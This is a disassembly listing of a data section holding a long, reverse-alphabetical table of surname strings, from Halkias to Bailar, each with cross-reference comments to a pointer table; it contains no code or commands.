		align 10h
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E058o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E054o
		align 10h
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E050o
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E04Co
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E048o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042E044o
		align 10h
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E040o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E03Co
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E038o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E034o
		align 10h
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E030o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E02Co
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E028o
		align 10h
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E024o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E020o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E01Co
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E018o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E014o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E010o
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E00Co
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E008o
		align 10h
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E004o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E000o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042DFFCo
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042DFF8o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042DFF4o
aGist		db 'Gist',0             ; DATA XREF: ___:0042DFF0o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DFECo
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DFE8o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DFE4o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DFE0o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DFDCo
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DFD8o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DFD4o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DFD0o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DFCCo
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DFC8o
		align 10h
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DFC4o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DFC0o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DFBCo
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DFB8o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DFB4o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DFB0o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DFACo
		align 10h
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DFA8o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DFA4o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DFA0o
		align 10h
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DF9Co
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DF98o
		align 10h
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DF94o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DF90o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DF8Co
		align 10h
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DF88o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DF84o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DF80o
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DF7Co
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DF78o
		align 10h
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DF74o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DF70o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DF6Co
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DF68o
		align 10h
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DF64o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DF60o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DF5Co
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DF58o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DF54o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DF50o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DF4Co
		align 10h
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DF48o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DF44o
		align 10h
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DF40o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DF3Co
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DF38o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DF34o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DF30o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DF2Co
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DF28o
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DF24o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DF20o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DF1Co
		align 10h
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DF18o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DF14o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DF10o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DF0Co
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DF08o
		align 10h
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DF04o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DF00o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DEFCo
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DEF8o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DEF4o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DEF0o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DEECo
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DEE8o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DEE4o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DEE0o
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DEDCo
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DED8o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DED4o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DED0o
		align 10h
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DECCo
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DEC8o
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DEC4o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DEC0o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DEBCo
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DEB8o
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DEB4o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DEB0o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DEACo
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DEA8o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DEA4o
		align 10h
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DEA0o
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DE9Co
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DE98o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DE94o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DE90o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DE8Co
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DE88o
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DE84o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DE80o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DE7Co
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DE78o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DE74o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DE70o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DE6Co
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DE68o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DE64o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DE60o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DE5Co
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DE58o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DE54o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DE50o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DE4Co
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DE48o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DE44o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DE40o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DE3Co
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DE38o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DE34o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DE30o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DE2Co
		align 10h
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DE28o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DE24o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DE20o
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DE1Co
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DE18o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DE14o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DE10o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DE0Co
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DE08o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DE04o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DE00o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DDFCo
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DDF8o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DDF4o
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DDF0o
		align 10h
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DDECo
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DDE8o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DDE4o
		align 10h
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DDE0o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DDDCo
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDD8o
		align 10h
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DDD4o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DDD0o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DDCCo
aDavid		db 'David',0            ; DATA XREF: ___:0042DDC8o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DDC4o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DDC0o
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DDBCo
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDB8o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DDB4o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DDB0o
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DDACo
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DDA8o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DDA4o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DDA0o
		align 10h
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DD9Co
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DD98o
		align 10h
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DD94o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DD90o
		align 10h
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DD8Co
aCui		db 'Cui',0              ; DATA XREF: ___:0042DD88o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DD84o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DD80o
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DD7Co
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DD78o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DD74o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042DD70o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042DD6Co
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042DD68o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042DD64o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042DD60o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042DD5Co
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042DD58o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042DD54o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042DD50o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042DD48o
					; ___:0042DD4Co
aCollis		db 'Collis',0           ; DATA XREF: ___:0042DD44o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042DD40o
aColella	db 'Colella',0          ; DATA XREF: ___:0042DD3Co
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042DD38o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042DD34o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042DD30o
aClow		db 'Clow',0             ; DATA XREF: ___:0042DD2Co
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042DD28o
aClement	db 'Clement',0          ; DATA XREF: ___:0042DD24o
aClark		db 'Clark',0            ; DATA XREF: ___:0042DD20o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042DD1Co
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042DD18o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042DD14o
		align 10h
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042DD10o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042DD0Co
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042DD08o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042DD04o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042DD00o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042DCFCo
aChristie	db 'Christie',0         ; DATA XREF: ___:0042DCF8o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042DCF4o
		align 10h
aChristian	db 'Christian',0        ; DATA XREF: ___:0042DCF0o
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042DCECo
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042DCE8o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042DCE4o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042DCE0o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042DCDCo
		align 10h
aChien		db 'Chien',0            ; DATA XREF: ___:0042DCD8o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042DCD4o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042DCD0o
		align 10h
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042DCCCo
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042DCC8o
		align 10h
aCharles	db 'Charles',0          ; DATA XREF: ___:0042DCC4o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042DCC0o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042DCBCo
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042DCB8o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042DCB4o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042DCB0o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042DCACo
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DCA8o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042DCA4o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DCA0o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DC9Co
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DC98o
		align 10h
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DC94o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DC90o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DC8Co
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DC88o
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DC84o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DC80o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DC7Co
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DC78o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DC74o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DC70o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DC6Co
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DC68o
		align 10h
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DC64o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DC60o
		align 10h
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DC5Co
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DC58o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DC54o
		align 10h
aCage		db 'Cage',0             ; DATA XREF: ___:0042DC50o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DC4Co
		align 10h
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DC48o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DC44o
		align 10h
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DC40o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DC3Co
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DC38o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DC34o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DC30o
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DC2Co
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DC28o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DC24o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DC20o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DC1Co
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DC18o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DC14o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DC10o
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DC0Co
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DC08o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DC04o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DBFCo
					; ___:0042DC00o
		align 10h
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DBF8o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DBF4o
		align 10h
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DBF0o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DBECo
		align 10h
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DBE8o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DBE4o
		align 10h
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DBE0o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DBDCo
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DBD8o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DBD4o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DBD0o
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DBCCo
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DBC8o
		align 10h
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DBC4o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DBC0o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DBBCo
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DBB8o
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DBB4o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DBB0o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DBACo
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DBA8o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DBA4o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DBA0o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DB9Co
		align 10h
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DB98o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042DB94o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DB90o
		align 10h
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DB8Co
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DB88o
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DB84o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DB80o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DB7Co
		align 10h
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DB78o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DB74o
		align 10h
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DB70o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DB6Co
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DB68o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DB64o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DB60o
		align 10h
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DB5Co
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DB58o
		align 10h
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DB54o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DB50o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DB4Co
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DB48o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DB44o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DB40o
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DB3Co
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DB38o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DB34o
		align 10h
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DB30o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DB2Co
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DB28o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DB24o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DB20o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DB1Co
		align 10h
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DB18o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DB14o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DB10o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DB0Co
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DB08o
		align 10h
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DB04o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DB00o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DAFCo
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DAF8o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DAF4o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DAF0o
		align 10h
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DAECo
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DAE8o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DAE4o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DAE0o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DADCo
		align 10h
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DAD8o
aBean		db 'Bean',0             ; DATA XREF: ___:0042DAD4o
		align 10h
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DAD0o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DACCo
		align 10h
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DAC8o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DAC4o
		align 10h
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DAC0o
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DABCo
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DAB8o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DAB4o
		align 10h
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DAB0o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DAACo
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DAA8o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DAA4o
		align 4
aBarriola	db 'Barriola',0         ; DATA XREF: ___:0042DAA0o
		align 4
aBarnett	db 'Barnett',0          ; DATA XREF: ___:0042DA9Co
aBarneson	db 'Barneson',0         ; DATA XREF: ___:0042DA98o
		align 4
aBarbetti	db 'Barbetti',0         ; DATA XREF: ___:0042DA94o
		align 4
aBarberi	db 'Barberi',0          ; DATA XREF: ___:0042DA90o
aBaranowska	db 'Baranowska',0       ; DATA XREF: ___:0042DA8Co
		align 4
aBaranczak	db 'Baranczak',0        ; DATA XREF: ___:0042DA88o
		align 4
aBarajas	db 'Barajas',0          ; DATA XREF: ___:0042DA84o
aBarabesi	db 'Barabesi',0         ; DATA XREF: ___:0042DA80o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: ___:0042DA7Co
		align 10h
aBaltz		db 'Baltz',0            ; DATA XREF: ___:0042DA78o
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: ___:0042DA74o
		align 10h
aBallatori	db 'Ballatori',0        ; DATA XREF: ___:0042DA70o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: ___:0042DA6Co
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DA68o
		align 10h
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DA64o
